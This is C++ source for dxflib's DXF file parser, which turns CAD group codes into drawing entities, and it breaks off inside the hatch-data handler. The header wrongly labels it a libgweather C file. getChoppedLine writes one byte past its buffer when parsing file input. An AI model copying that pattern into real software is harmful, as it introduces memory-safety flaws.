libgweather/weather-yahoo.c
C
gpl-2.0
11,674
/**************************************************************************** ** $Id: dl_dxf.cpp,v 1.61 2004/12/09 01:10:35 andrew Exp $ ** ** Copyright (C) 2001-2003 RibbonSoft. All rights reserved. ** ** This file is part of the dxflib project. ** ** This file may be distributed and/or modified under the terms of the ** GNU General Public License version 2 as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL included in the ** packaging of this file. ** ** Licensees holding valid dxflib Professional Edition licenses may use ** this file in accordance with the dxflib Commercial License ** Agreement provided with the Software. ** ** This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE ** WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. ** ** See http://www.ribbonsoft.com for further details. ** ** Contact info@ribbonsoft.com if any conditions of this licensing are ** not clear to you. ** **********************************************************************/ #include "dl_dxf.h" #include <algorithm> #include <string> #include <cstdio> #include <cassert> #include <cmath> #include "dl_attributes.h" #include "dl_codes.h" #include "dl_creationinterface.h" #include "dl_writer_ascii.h" #if defined(__OS2__)||defined(__EMX__)||defined(_WIN32) #define strcasecmp(s,t) stricmp(s,t) #endif #ifdef _WIN32 #undef M_PI #define M_PI 3.14159265358979323846 #pragma warning(disable : 4800) #endif #ifndef M_PI #define M_PI 3.1415926535897932384626433832795 #endif /** * Default constructor. */ DL_Dxf::DL_Dxf() { styleHandleStd = 0; version = VER_2000; vertices = NULL; maxVertices = 0; vertexIndex = 0; knots = NULL; maxKnots = 0; knotIndex = 0; controlPoints = NULL; maxControlPoints = 0; controlPointIndex = 0; leaderVertices = NULL; maxLeaderVertices = 0; leaderVertexIndex = 0; hatchLoops = NULL; maxHatchLoops = 0; hatchLoopIndex = -1; hatchEdges = NULL; maxHatchEdges = NULL; hatchEdgeIndex = NULL; dropEdges = false; //bulge = 0.0; } /** * Destructor. */ DL_Dxf::~DL_Dxf() { if (vertices!=NULL) { delete[] vertices; } if (knots!=NULL) { delete[] knots; } if (controlPoints!=NULL) { delete[] controlPoints; } if (leaderVertices!=NULL) { delete[] leaderVertices; } if (hatchLoops!=NULL) { delete[] hatchLoops; } if (hatchEdges!=NULL) { for (int i=0; i<maxHatchLoops; ++i) { if (hatchEdges[i]!=NULL) { delete[] hatchEdges[i]; } } delete[] hatchEdges; } if (maxHatchEdges!=NULL) { delete[] maxHatchEdges; } if (hatchEdgeIndex!=NULL) { delete[] hatchEdgeIndex; } } /** * @brief Reads the given file and calls the appropriate functions in * the given creation interface for every entity found in the file. * * @param file Input * Path and name of file to read * @param creationInterface * Pointer to the class which takes care of the entities in the file. * * @retval true If \p file could be opened. * @retval false If \p file could not be opened. */ bool DL_Dxf::in(const string& file, DL_CreationInterface* creationInterface) { FILE *fp; firstCall = true; currentEntity = DL_UNKNOWN; int errorCounter = 0; fp = fopen(file.c_str(), "rt"); if (fp) { while (readDxfGroups(fp, creationInterface, &errorCounter)) {} fclose(fp); if (errorCounter>0) { std::cerr << "DXF Filter: There have been " << errorCounter << " errors. The drawing might be incomplete / incorrect.\n"; } return true; } return false; } /** * Reads a DXF file from an existing stream. * * @param stream The string stream. * @param creationInterface * Pointer to the class which takes care of the entities in the file. * * @retval true If \p file could be opened. * @retval false If \p file could not be opened. */ #ifndef __GCC2x__ bool DL_Dxf::in(std::stringstream& stream, DL_CreationInterface* creationInterface) { int errorCounter = 0; if (stream.good()) { firstCall=true; currentEntity = DL_UNKNOWN; while (readDxfGroups(stream, creationInterface, &errorCounter)) {} if (errorCounter>0) { std::cerr << "DXF Filter: There have been " << errorCounter << " errors. The drawing might be incomplete / incorrect.\n"; } return true; } return false; } #endif /** * @brief Reads a group couplet from a DXF file. Calls another function * to process it. * * A group couplet consists of two lines that represent a single * piece of data. An integer constant on the first line indicates * the type of data. The value is on the next line.\n * * This function reads a couplet, determines the type of data, and * passes the value to the the appropriate handler function of * \p creationInterface.\n * * \p fp is advanced so that the next call to \p readDXFGroups() reads * the next couplet in the file. * * @param fp Handle of input file * @param creationInterface Handle of class which processes entities * in the file * * @retval true If EOF not reached. * @retval false If EOF reached. */ bool DL_Dxf::readDxfGroups(FILE *fp, DL_CreationInterface* creationInterface, int* errorCounter) { bool ok = true; static int line = 1; // Read one group of the DXF file and chop the lines: if (DL_Dxf::getChoppedLine(groupCodeTmp, DL_DXF_MAXLINE, fp) && DL_Dxf::getChoppedLine(groupValue, DL_DXF_MAXLINE, fp) ) { groupCode = (unsigned int)stringToInt(groupCodeTmp, &ok); if (ok) { //std::cerr << groupCode << "\n"; //std::cerr << groupValue << "\n"; line+=2; processDXFGroup(creationInterface, groupCode, groupValue); } else { std::cerr << "DXF read error: Line: " << line << "\n"; if (errorCounter!=NULL) { (*errorCounter)++; } // try to fix: std::cerr << "DXF read error: trying to fix..\n"; // drop a line to sync: DL_Dxf::getChoppedLine(groupCodeTmp, DL_DXF_MAXLINE, fp); } } return !feof(fp); } /** * Same as above but for stringstreams. */ #ifndef __GCC2x__ bool DL_Dxf::readDxfGroups(std::stringstream& stream, DL_CreationInterface* creationInterface, int* errorCounter) { bool ok = true; static int line = 1; // Read one group of the DXF file and chop the lines: if (DL_Dxf::getChoppedLine(groupCodeTmp, DL_DXF_MAXLINE, stream) && DL_Dxf::getChoppedLine(groupValue, DL_DXF_MAXLINE, stream) ) { groupCode = (unsigned int)stringToInt(groupCodeTmp, &ok); if (ok) { //std::cout << groupCode << "\n"; //std::cout << groupValue << "\n"; line+=2; processDXFGroup(creationInterface, groupCode, groupValue); } else { std::cerr << "DXF read error: Line: " << line << "\n"; if (errorCounter!=NULL) { (*errorCounter)++; } // try to fix: std::cerr << "DXF read error: trying to fix..\n"; // drop a line to sync: DL_Dxf::getChoppedLine(groupCodeTmp, DL_DXF_MAXLINE, stream); } } return !stream.eof(); } #endif /** * @brief Reads line from file & strips whitespace at start and newline * at end. * * @param s Output\n * Pointer to character array that chopped line will be returned in. * @param size Size of \p s. (Including space for NULL.) * @param fp Input\n * Handle of input file. * * @retval true if line could be read * @retval false if \p fp is already at end of file * * @todo Change function to use safer FreeBSD strl* functions * @todo Is it a problem if line is blank (i.e., newline only)? * Then, when function returns, (s==NULL). */ bool DL_Dxf::getChoppedLine(char *s, unsigned int size, FILE *fp) { if (!feof(fp)) { // The whole line in the file. Includes space for NULL. char* wholeLine = new char[size]; // Only the useful part of the line char* line; line = fgets(wholeLine, size, fp); if (line!=NULL && strlen(line)!=0) { // Evaluates to fgets() retval // line == wholeLine at this point. // Both guaranteed to be NULL terminated. // Strip leading whitespace and trailing CR/LF. stripWhiteSpace(&line); strncpy(s, line, size); s[size] = '\0'; // s should always be NULL terminated, because: assert(size > strlen(line)); } delete[] wholeLine; // Done with wholeLine return true; } else { s[0] = '\0'; return false; } } /** * Same as above but for stringstreams. */ #ifndef __GCC2x__ bool DL_Dxf::getChoppedLine(char *s, unsigned int size, std::stringstream& stream) { if (!stream.eof()) { // The whole line in the file. Includes space for NULL. char* wholeLine = new char[size]; // Only the useful part of the line stream.getline(wholeLine, size); stripWhiteSpace(&wholeLine); strncpy(s, wholeLine, size); assert(size > strlen(wholeLine)); delete[] wholeLine; // Done with wholeLine return true; } else { s[0] = '\0'; return false; } } #endif /** * @brief Strips leading whitespace and trailing Carriage Return (CR) * and Line Feed (LF) from NULL terminated string. * * @param s Input and output. * NULL terminates string. * * @retval true if \p s is non-NULL * @retval false if \p s is NULL */ bool DL_Dxf::stripWhiteSpace(char** s) { // last non-NULL char: int lastChar = strlen(*s) - 1; //std::cout << "lastChar: " << lastChar << "\n"; // Is last character CR or LF? while ( (lastChar >= 0) && (((*s)[lastChar] == 10) || ((*s)[lastChar] == 13) || ((*s)[lastChar] == ' ' || ((*s)[lastChar] == '\t'))) ) { (*s)[lastChar] = '\0'; lastChar--; } // Skip whitespace, excluding \n, at beginning of line while ((*s)[0]==' ' || (*s)[0]=='\t') { ++(*s); } return ((*s) ? true : false); } /** * Processes a group (pair of group code and value). * * @param creationInterface Handle to class that creates entities and * other CAD data from DXF group codes * * @param groupCode Constant indicating the data type of the group. * @param groupValue The data value. * * @retval true if done processing current entity and new entity begun * @retval false if not done processing current entity */ bool DL_Dxf::processDXFGroup(DL_CreationInterface* creationInterface, int groupCode, const char *groupValue) { //std::cout << "DL_Dxf::processDXFGroup: " << groupCode << ": " //<< groupValue << "\n"; // Init on first call if (firstCall) { for (int i=0; i<DL_DXF_MAXGROUPCODE; ++i) { values[i][0] = '\0'; } settingValue[0] = '\0'; firstCall=false; } // Indicates comment or dxflib version: if (groupCode==999) { //std::cout << "999: " << groupValue << "\n"; if (groupValue!=NULL) { if (!strncmp(groupValue, "dxflib", 6)) { //std::cout << "dxflib version found" << "\n"; libVersion = getLibVersion(&groupValue[7]); } } } // Indicates start of new entity or var else if (groupCode==0 || groupCode==9) { // If new entity is encountered, the last one must be complete // prepare attributes which can be used for most entities: char name[DL_DXF_MAXLINE+1]; if (strlen(values[8])!=0) { strcpy(name, values[8]); } // defaults to layer '0': else { strcpy(name, "0"); } int width; // Compatibillity with qcad1: if (strlen(values[39])!=0 && strlen(values[370])==0) { width = toInt(values[39], -1); } // since autocad 2002: else if (strlen(values[370])!=0) { width = toInt(values[370], -1); } // default to BYLAYER: else { width = -1; } int color; color = toInt(values[62], 256); char linetype[DL_DXF_MAXLINE+1]; strcpy(linetype, toString(values[6], "BYLAYER")); attrib = DL_Attributes(values[8], // layer color, // color width, // width linetype); // linetype creationInterface->setAttributes(attrib); creationInterface->setExtrusion(toReal(values[210], 0.0), toReal(values[220], 0.0), toReal(values[230], 1.0), toReal(values[30], 0.0)); // Add the last entity via creationInterface switch (currentEntity) { case DL_SETTING: addSetting(creationInterface); break; case DL_LAYER: addLayer(creationInterface); break; case DL_BLOCK: addBlock(creationInterface); break; case DL_ENDBLK: endBlock(creationInterface); break; case DL_ENTITY_POINT: addPoint(creationInterface); break; case DL_ENTITY_LINE: addLine(creationInterface); break; case DL_ENTITY_POLYLINE: //bulge = toReal(values[42]); // fall through case DL_ENTITY_LWPOLYLINE: addPolyline(creationInterface); break; case DL_ENTITY_VERTEX: addVertex(creationInterface); break; case DL_ENTITY_SPLINE: addSpline(creationInterface); break; case DL_ENTITY_ARC: addArc(creationInterface); break; case DL_ENTITY_CIRCLE: addCircle(creationInterface); break; case DL_ENTITY_ELLIPSE: addEllipse(creationInterface); break; case DL_ENTITY_INSERT: addInsert(creationInterface); break; case DL_ENTITY_MTEXT: addMText(creationInterface); break; case DL_ENTITY_TEXT: addText(creationInterface); break; case DL_ENTITY_ATTRIB: addAttrib(creationInterface); break; case DL_ENTITY_DIMENSION: { int type = (toInt(values[70], 0)&0x07); switch (type) { case 0: addDimLinear(creationInterface); break; case 1: addDimAligned(creationInterface); break; case 2: addDimAngular(creationInterface); break; case 3: addDimDiametric(creationInterface); break; case 4: addDimRadial(creationInterface); break; case 5: addDimAngular3P(creationInterface); break; default: break; } } break; case DL_ENTITY_LEADER: addLeader(creationInterface); break; case DL_ENTITY_HATCH: addHatch(creationInterface); break; case DL_ENTITY_IMAGE: addImage(creationInterface); break; case DL_ENTITY_IMAGEDEF: addImageDef(creationInterface); break; case DL_ENTITY_SEQEND: endSequence(creationInterface); break; default: break; } // reset all values (they are not persistent and only this // way we can detect default values for unstored settings) for (int i=0; i<DL_DXF_MAXGROUPCODE; ++i) { values[i][0] = '\0'; } settingValue[0] = '\0'; settingKey[0] = '\0'; // Last DXF entity or setting has been handled // Now determine what the next entity or setting type is int prevEntity = currentEntity; // Read DXF settings: if (groupValue[0]=='$') { currentEntity = DL_SETTING; strncpy(settingKey, groupValue, DL_DXF_MAXLINE); settingKey[DL_DXF_MAXLINE] = '\0'; } // Read Layers: else if (!strcmp(groupValue, "LAYER")) { currentEntity = DL_LAYER; } // Read Blocks: else if (!strcmp(groupValue, "BLOCK")) { currentEntity = DL_BLOCK; } else if (!strcmp(groupValue, "ENDBLK")) { currentEntity = DL_ENDBLK; } // Read entities: else if (!strcmp(groupValue, "POINT")) { currentEntity = DL_ENTITY_POINT; } else if (!strcmp(groupValue, "LINE")) { currentEntity = DL_ENTITY_LINE; } else if (!strcmp(groupValue, "POLYLINE")) { currentEntity = DL_ENTITY_POLYLINE; } else if (!strcmp(groupValue, "LWPOLYLINE")) { currentEntity = DL_ENTITY_LWPOLYLINE; } else if (!strcmp(groupValue, "VERTEX")) { currentEntity = DL_ENTITY_VERTEX; } else if (!strcmp(groupValue, "SPLINE")) { currentEntity = DL_ENTITY_SPLINE; } else if (!strcmp(groupValue, "ARC")) { currentEntity = DL_ENTITY_ARC; } else if (!strcmp(groupValue, "ELLIPSE")) { currentEntity = DL_ENTITY_ELLIPSE; } else if (!strcmp(groupValue, "CIRCLE")) { currentEntity = DL_ENTITY_CIRCLE; } else if (!strcmp(groupValue, "INSERT")) { currentEntity = DL_ENTITY_INSERT; } else if (!strcmp(groupValue, "TEXT")) { currentEntity = DL_ENTITY_TEXT; } else if (!strcmp(groupValue, "MTEXT")) { currentEntity = DL_ENTITY_MTEXT; } else if (!strcmp(groupValue, "ATTRIB")) { currentEntity = DL_ENTITY_ATTRIB; } else if (!strcmp(groupValue, "DIMENSION")) { currentEntity = DL_ENTITY_DIMENSION; } else if (!strcmp(groupValue, "LEADER")) { currentEntity = DL_ENTITY_LEADER; } else if (!strcmp(groupValue, "HATCH")) { currentEntity = DL_ENTITY_HATCH; } else if (!strcmp(groupValue, "IMAGE")) { currentEntity = DL_ENTITY_IMAGE; } else if (!strcmp(groupValue, "IMAGEDEF")) { currentEntity = DL_ENTITY_IMAGEDEF; } else if (!strcmp(groupValue, "SEQEND")) { currentEntity = DL_ENTITY_SEQEND; } else { currentEntity = DL_UNKNOWN; } // end of old style POLYLINE entity if (prevEntity==DL_ENTITY_VERTEX && currentEntity!=DL_ENTITY_VERTEX) { endEntity(creationInterface); } return true; } else { // Group code does not indicate start of new entity or setting, // so this group must be continuation of data for the current // one. if (groupCode<DL_DXF_MAXGROUPCODE) { bool handled = false; switch (currentEntity) { case DL_ENTITY_MTEXT: handled = handleMTextData(creationInterface); break; case DL_ENTITY_LWPOLYLINE: handled = handleLWPolylineData(creationInterface); break; case DL_ENTITY_SPLINE: handled = handleSplineData(creationInterface); break; case DL_ENTITY_LEADER: handled = handleLeaderData(creationInterface); break; case DL_ENTITY_HATCH: handled = handleHatchData(creationInterface); break; default: break; } if (!handled) { // Normal group / value pair: strncpy(values[groupCode], groupValue, DL_DXF_MAXLINE); values[groupCode][DL_DXF_MAXLINE] = '\0'; } } return false; } return false; } /** * Adds a variable from the DXF file. */ void DL_Dxf::addSetting(DL_CreationInterface* creationInterface) { int c = -1; for (int i=0; i<=380; ++i) { if (values[i][0]!='\0') { c = i; break; } } // string if (c>=0 && c<=9) { creationInterface->setVariableString(settingKey, values[c], c); } // vector else if (c>=10 && c<=39) { if (c==10) { creationInterface->setVariableVector( settingKey, toReal(values[c]), toReal(values[c+10]), toReal(values[c+20]), c); } } // double else if (c>=40 && c<=59) { creationInterface->setVariableDouble(settingKey, toReal(values[c]), c); } // int else if (c>=60 && c<=99) { creationInterface->setVariableInt(settingKey, toInt(values[c]), c); } // misc else if (c>=0) { creationInterface->setVariableString(settingKey, values[c], c); } } /** * Adds a layer that was read from the file via the creation interface. */ void DL_Dxf::addLayer(DL_CreationInterface* creationInterface) { // correct some impossible attributes for layers: attrib = creationInterface->getAttributes(); if (attrib.getColor()==256 || attrib.getColor()==0) { attrib.setColor(7); } if (attrib.getWidth()<0) { attrib.setWidth(1); } if (!strcasecmp(attrib.getLineType().c_str(), "BYLAYER") || !strcasecmp(attrib.getLineType().c_str(), "BYBLOCK")) { attrib.setLineType("CONTINUOUS"); } // add layer creationInterface->addLayer(DL_LayerData(values[2], toInt(values[70]))); } /** * Adds a block that was read from the file via the creation interface. */ void DL_Dxf::addBlock(DL_CreationInterface* creationInterface) { DL_BlockData d( // Name: values[2], // flags: toInt(values[70]), // base point: toReal(values[10]), toReal(values[20]), toReal(values[30])); creationInterface->addBlock(d); } /** * Ends a block that was read from the file via the creation interface. */ void DL_Dxf::endBlock(DL_CreationInterface* creationInterface) { creationInterface->endBlock(); } /** * Adds a point entity that was read from the file via the creation interface. */ void DL_Dxf::addPoint(DL_CreationInterface* creationInterface) { DL_PointData d(toReal(values[10]), toReal(values[20]), toReal(values[30])); creationInterface->addPoint(d); } /** * Adds a line entity that was read from the file via the creation interface. */ void DL_Dxf::addLine(DL_CreationInterface* creationInterface) { DL_LineData d(toReal(values[10]), toReal(values[20]), toReal(values[30]), toReal(values[11]), toReal(values[21]), toReal(values[31])); creationInterface->addLine(d); } /** * Adds a polyline entity that was read from the file via the creation interface. */ void DL_Dxf::addPolyline(DL_CreationInterface* creationInterface) { DL_PolylineData pd(maxVertices, toInt(values[71], 0), toInt(values[72], 0), toInt(values[70], 0)); creationInterface->addPolyline(pd); if (currentEntity==DL_ENTITY_LWPOLYLINE) { for (int i=0; i<maxVertices; i++) { DL_VertexData d(vertices[i*4], vertices[i*4+1], vertices[i*4+2], vertices[i*4+3]); creationInterface->addVertex(d); } creationInterface->endEntity(); } } /** * Adds a polyline vertex entity that was read from the file * via the creation interface. */ void DL_Dxf::addVertex(DL_CreationInterface* creationInterface) { DL_VertexData d(toReal(values[10]), toReal(values[20]), toReal(values[30]), //bulge); toReal(values[42])); //bulge = toReal(values[42]); creationInterface->addVertex(d); } /** * Adds a spline entity that was read from the file via the creation interface. */ void DL_Dxf::addSpline(DL_CreationInterface* creationInterface) { DL_SplineData sd(toInt(values[71], 3), toInt(values[72], 0), toInt(values[73], 0), toInt(values[70], 4)); creationInterface->addSpline(sd); for (int i=0; i<maxControlPoints; i++) { DL_ControlPointData d(controlPoints[i*3], controlPoints[i*3+1], controlPoints[i*3+2]); creationInterface->addControlPoint(d); } } /** * Adds a knot to the previously added spline. */ /* void DL_Dxf::addKnot(DL_CreationInterface* creationInterface) { std::cout << "DL_Dxf::addKnot\n"; } */ /** * Adds a control point to the previously added spline. */ /* void DL_Dxf::addControlPoint(DL_CreationInterface* creationInterface) { std::cout << "DL_Dxf::addControlPoint\n"; } */ /** * Adds an arc entity that was read from the file via the creation interface. */ void DL_Dxf::addArc(DL_CreationInterface* creationInterface) { DL_ArcData d(toReal(values[10]), toReal(values[20]), toReal(values[30]), toReal(values[40]), toReal(values[50]), toReal(values[51])); creationInterface->addArc(d); } /** * Adds a circle entity that was read from the file via the creation interface. */ void DL_Dxf::addCircle(DL_CreationInterface* creationInterface) { DL_CircleData d(toReal(values[10]), toReal(values[20]), toReal(values[30]), toReal(values[40])); creationInterface->addCircle(d); } /** * Adds an ellipse entity that was read from the file via the creation interface. */ void DL_Dxf::addEllipse(DL_CreationInterface* creationInterface) { DL_EllipseData d(toReal(values[10]), toReal(values[20]), toReal(values[30]), toReal(values[11]), toReal(values[21]), toReal(values[31]), toReal(values[40], 1.0), toReal(values[41], 0.0), toReal(values[42], 2*M_PI)); creationInterface->addEllipse(d); } /** * Adds an insert entity that was read from the file via the creation interface. */ void DL_Dxf::addInsert(DL_CreationInterface* creationInterface) { DL_InsertData d(values[2], // insertion point toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // scale: toReal(values[41], 1.0), toReal(values[42], 1.0), toReal(values[43], 1.0), // angle: toReal(values[50], 0.0), // cols / rows: toInt(values[70], 1), toInt(values[71], 1), // spacing: toReal(values[44], 0.0), toReal(values[45], 0.0)); creationInterface->addInsert(d); } /** * Adds an MText entity that was read from the file via the creation interface. */ void DL_Dxf::addMText(DL_CreationInterface* creationInterface) { double angle = 0.0; if (values[50][0]!='\0') { if (libVersion<=0x02000200) { // wrong but compatible with dxflib <=2.0.2.0: angle = toReal(values[50], 0.0); } else { angle = (toReal(values[50], 0.0)*2*M_PI)/360.0; } } else if (values[11][0]!='\0' && values[21][0]!='\0') { double x = toReal(values[11], 0.0); double y = toReal(values[21], 0.0); if (fabs(x)<1.0e-6) { if (y>0.0) { angle = M_PI/2.0; } else { angle = M_PI/2.0*3.0; } } else { angle = atan(y/x); } } DL_MTextData d( // insertion point toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // height toReal(values[40], 2.5), // width toReal(values[41], 100.0), // attachment point toInt(values[71], 1), // drawing direction toInt(values[72], 1), // line spacing style toInt(values[73], 1), // line spacing factor toReal(values[44], 1.0), // text values[1], // style values[7], // angle angle); creationInterface->addMText(d); } /** * Handles additional MText data. */ bool DL_Dxf::handleMTextData(DL_CreationInterface* creationInterface) { // Special handling of text chunks for MTEXT entities: if (groupCode==3) { creationInterface->addMTextChunk(groupValue); return true; } return false; } /** * Handles additional polyline data. */ bool DL_Dxf::handleLWPolylineData(DL_CreationInterface* /*creationInterface*/) { // Allocate LWPolyline vertices (group code 90): if (groupCode==90) { maxVertices = toInt(groupValue); if (maxVertices>0) { if (vertices!=NULL) { delete[] vertices; } vertices = new double[4*maxVertices]; for (int i=0; i<maxVertices; ++i) { vertices[i*4] = 0.0; vertices[i*4+1] = 0.0; vertices[i*4+2] = 0.0; vertices[i*4+3] = 0.0; } } vertexIndex=-1; return true; } // Compute LWPolylines vertices (group codes 10/20/30/42): else if (groupCode==10 || groupCode==20 || groupCode==30 || groupCode==42) { if (vertexIndex<maxVertices-1 && groupCode==10) { vertexIndex++; } if (groupCode<=30) { if (vertexIndex>=0 && vertexIndex<maxVertices) { vertices[4*vertexIndex + (groupCode/10-1)] = toReal(groupValue); } } else if (groupCode==42 && vertexIndex<maxVertices) { vertices[4*vertexIndex + 3] = toReal(groupValue); } return true; } return false; } /** * Handles additional spline data. */ bool DL_Dxf::handleSplineData(DL_CreationInterface* /*creationInterface*/) { // Allocate Spline knots (group code 72): if (groupCode==72) { maxKnots = toInt(groupValue); if (maxKnots>0) { if (knots!=NULL) { delete[] knots; } knots = new double[maxKnots]; for (int i=0; i<maxKnots; ++i) { knots[i] = 0.0; } } knotIndex=-1; return true; } // Allocate Spline control points (group code 73): else if (groupCode==73) { maxControlPoints = toInt(groupValue); if (maxControlPoints>0) { if (controlPoints!=NULL) { delete[] controlPoints; } controlPoints = new double[3*maxControlPoints]; for (int i=0; i<maxControlPoints; ++i) { controlPoints[i*3] = 0.0; controlPoints[i*3+1] = 0.0; controlPoints[i*3+2] = 0.0; } } controlPointIndex=-1; return true; } // Compute spline knot vertices (group code 40): else if (groupCode==40) { if (knotIndex<maxKnots-1) { knotIndex++; knots[knotIndex] = toReal(groupValue); } return true; } // Compute spline control points (group codes 10/20/30): else if (groupCode==10 || groupCode==20 || groupCode==30) { if (controlPointIndex<maxControlPoints-1 && groupCode==10) { controlPointIndex++; } if (controlPointIndex>=0 && controlPointIndex<maxControlPoints) { controlPoints[3*controlPointIndex + (groupCode/10-1)] = toReal(groupValue); } return true; } return false; } /** * Handles additional leader data. */ bool DL_Dxf::handleLeaderData(DL_CreationInterface* /*creationInterface*/) { // Allocate Leader vertices (group code 76): if (groupCode==76) { maxLeaderVertices = toInt(groupValue); if (maxLeaderVertices>0) { if (leaderVertices!=NULL) { delete[] leaderVertices; } leaderVertices = new double[3*maxLeaderVertices]; for (int i=0; i<maxLeaderVertices; ++i) { leaderVertices[i*3] = 0.0; leaderVertices[i*3+1] = 0.0; leaderVertices[i*3+2] = 0.0; } } leaderVertexIndex=-1; return true; } // Compute Leader vertices (group codes 10/20/30): else if (groupCode==10 || groupCode==20 || groupCode==30) { if (leaderVertexIndex<maxLeaderVertices-1 && groupCode==10) { leaderVertexIndex++; } if (groupCode<=30) { if (leaderVertexIndex>=0 && leaderVertexIndex<maxLeaderVertices) { leaderVertices[3*leaderVertexIndex + (groupCode/10-1)] = toReal(groupValue); } } return true; } return false; } /** * Handles additional hatch data. */ bool DL_Dxf::handleHatchData(DL_CreationInterface* /*creationInterface*/) { static int firstPolylineStatus = 0; // Allocate hatch loops (group code 91): if (groupCode==91 && toInt(groupValue)>0) { //std::cout << "allocating " << toInt(groupValue) << " loops\n"; if (hatchLoops!=NULL) { delete[] hatchLoops; hatchLoops = NULL; } if (maxHatchEdges!=NULL) { delete[] maxHatchEdges; maxHatchEdges = NULL; } if (hatchEdgeIndex!=NULL) { delete[] hatchEdgeIndex; hatchEdgeIndex = NULL; } if (hatchEdges!=NULL) { for (int i=0; i<maxHatchLoops; ++i) { delete[] hatchEdges[i]; } delete[] hatchEdges; hatchEdges = NULL; } maxHatchLoops = toInt(groupValue); //std::cout << "maxHatchLoops: " << maxHatchLoops << "\n"; if (maxHatchLoops>0) { hatchLoops = new DL_HatchLoopData[maxHatchLoops]; maxHatchEdges = new int[maxHatchLoops]; hatchEdgeIndex = new int[maxHatchLoops]; hatchEdges = new DL_HatchEdgeData*[maxHatchLoops]; //std::cout << "new hatchEdges[" << maxHatchLoops << "]\n"; for (int i=0; i<maxHatchLoops; ++i) { hatchEdges[i] = NULL; //std::cout << "hatchEdges[" << i << "] = NULL\n"; maxHatchEdges[i] = 0; } hatchLoopIndex = -1; dropEdges = false; } //std::cout << "done\n"; return true; } // Allocate hatch edges, group code 93 if (groupCode==93 && toInt(groupValue)>0) { if (hatchLoopIndex<maxHatchLoops-1 && hatchLoops!=NULL && maxHatchEdges!=NULL && hatchEdgeIndex!=NULL && hatchEdges!=NULL) { //std::cout << " allocating " << toInt(groupValue) << " edges\n"; dropEdges = false; hatchLoopIndex++; hatchLoops[hatchLoopIndex] = DL_HatchLoopData(toInt(groupValue)); maxHatchEdges[hatchLoopIndex] = toInt(groupValue); hatchEdgeIndex[hatchLoopIndex] = -1; hatchEdges[hatchLoopIndex] = new DL_HatchEdgeData[toInt(groupValue)]; //std::cout << "hatchEdges[" << hatchLoopIndex << "] = new " // << toInt(groupValue) << "\n"; firstPolylineStatus = 0; } else { //std::cout << "dropping " << toInt(groupValue) << " edges\n"; dropEdges = true; } //std::cout << "done\n"; return true; } // Init hatch edge for non-polyline boundary (group code 72) if (hatchEdges!=NULL && hatchEdgeIndex!=NULL && maxHatchEdges!=NULL && hatchLoopIndex>=0 && hatchLoopIndex<maxHatchLoops && hatchEdgeIndex[hatchLoopIndex] < maxHatchEdges[hatchLoopIndex] && (atoi(values[92])&2)==0 && // not a polyline groupCode==72 && !dropEdges) { //std::cout << "Init hatch edge for non-polyline boundary\n"; //std::cout << "hatchLoopIndex: " << hatchLoopIndex << "\n"; //std::cout << "maxHatchLoops: " << maxHatchLoops << "\n"; hatchEdgeIndex[hatchLoopIndex]++; //std::cout << " init edge: type: " //<< toInt(groupValue) //<< " index: " << hatchEdgeIndex[hatchLoopIndex] << "\n"; hatchEdges[hatchLoopIndex][hatchEdgeIndex[hatchLoopIndex]] .type = toInt(groupValue); hatchEdges[hatchLoopIndex][hatchEdgeIndex[hatchLoopIndex]] .defined = false; //std::cout << "done\n"; return true; } // Handle hatch edges for non-polyline boundaries // (group codes 10, 20, 11, 21, 40, 50, 51, 73) if (!dropEdges && hatchEdges!=NULL && hatchEdgeIndex!=NULL && hatchLoopIndex>=0 && hatchLoopIndex<maxHatchLoops && hatchEdges[hatchLoopIndex]!=NULL && hatchEdgeIndex[hatchLoopIndex]>=0 && hatchEdgeIndex[hatchLoopIndex] < maxHatchEdges[hatchLoopIndex] && ((atoi(values[92])&2)==0) && // not a polyline (groupCode==10 || groupCode==20 || groupCode==11 || groupCode==21 || groupCode==40 || groupCode==50 || groupCode==51 || groupCode==73)) { //std::cout << "Handle hatch edge for non-polyline boundary\n"; //std::cout << " found edge data: " << groupCode << "\n"; //std::cout << " value: " << toReal(groupValue) << "\n"; // can crash: //std::cout << " defined: " // << (int)hatchEdges[hatchLoopIndex] // [hatchEdgeIndex[hatchLoopIndex]].defined << "\n"; //std::cout << "92 flag: '" << values[92] << "'\n"; //std::cout << "92 flag (int): '" << atoi(values[92]) << "'\n"; if (hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].defined==false) { if (hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].type==1) { switch (groupCode) { case 10: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x1 = toReal(groupValue); break; case 20: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y1 = toReal(groupValue); break; case 11: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x2 = toReal(groupValue); break; case 21: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y2 = toReal(groupValue); hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].defined = true; break; default: break; } } if (hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].type==2) { switch (groupCode) { case 10: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].cx = toReal(groupValue); break; case 20: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].cy = toReal(groupValue); break; case 40: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].radius = toReal(groupValue); break; case 50: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].angle1 = toReal(groupValue)/360.0*2*M_PI; break; case 51: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].angle2 = toReal(groupValue)/360.0*2*M_PI; break; case 73: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].ccw = (bool)toInt(groupValue); hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].defined = true; break; default: break; } } } return true; } /* // 2003/12/31: polyline hatches can be extremely slow and are rarely used // // Handle hatch edges for polyline boundaries // (group codes 10, 20, 42) if (!dropEdges && hatchEdges!=NULL && hatchEdgeIndex!=NULL && hatchLoopIndex>=0 && 